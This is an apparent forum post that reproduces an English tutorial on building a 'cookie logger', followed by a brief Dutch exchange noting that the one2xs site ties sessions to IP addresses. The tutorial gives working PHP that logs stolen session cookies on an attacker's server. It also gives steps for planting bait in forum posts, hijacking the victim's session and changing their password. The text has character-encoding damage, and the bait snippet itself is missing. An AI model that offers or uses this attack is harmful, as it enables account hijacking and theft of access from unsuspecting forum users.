Cookies stores all the necessary Information about one?s account , using this information you can hack anybody?s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.

What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody?s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger?Hope you will enjoy Reading it ?

Step 1: Save the notepad file from the link below and Rename it as Fun.gif:

Download it here.

Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = ?logfile.txt?;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ?a?))
{
echo ?Temporary Server Error,Sorry for the inconvenience.?;
exit;
}
else
{
if (fwrite($handle, ?
? . $_GET["cookie"]) === FALSE)
{
echo ?Temporary Server Error,Sorry for the inconvenience.?;
exit;
}
}
echo ?Temporary Server Error,Sorry for the inconvenience.?;
fclose($handle);
exit;
}
echo ?Temporary Server Error,Sorry for the inconvenience.?;
exit;
?>

Step 3: Create a new Notepad File and Save it as logfile.txt

Step 4: Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you don?t have any Website then you can use the following Website to get a Free Website which has php support :

http://0fees.net

Step 5: Go to the victim forum and insert this code in the signature or a post :

Download it here.

Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologini d%22%3Bs%3A0%3A%22%22%3Bs%3A6% ?3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 7: To get the access to the Victim?s Account you need to replace your cookies with the Victim?s Cookie. You can use a Cookie Editor for this. The string before ?=? is the name of the cookie and the string after ?=? is its value. So Change the values of the cookies in the cookie Editor.

Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim?s account information.

Note: Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim?s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

Ik vond net deze tut en ik dacht in mezelf, ik hoop dat one2xs hiertegen beveiligd is.
Anders is het gewoon té makkelijk om naar de webwereld section te lopen en te zeggen, kan je even mijn site bekijken e.d. en dan heb je zo iemands account

.

Het one2xs systeem checkt of het IP klopt met wat er in de database staat. Als dat niet zo is word je uitgelogd. Dit is dus niet zomaar mogelijk

Dacht ik al, anders zou het veel te simpel zijn. Toch zijn er veel sites die dit niet doen.
Bedankt voor het snelle antwoord
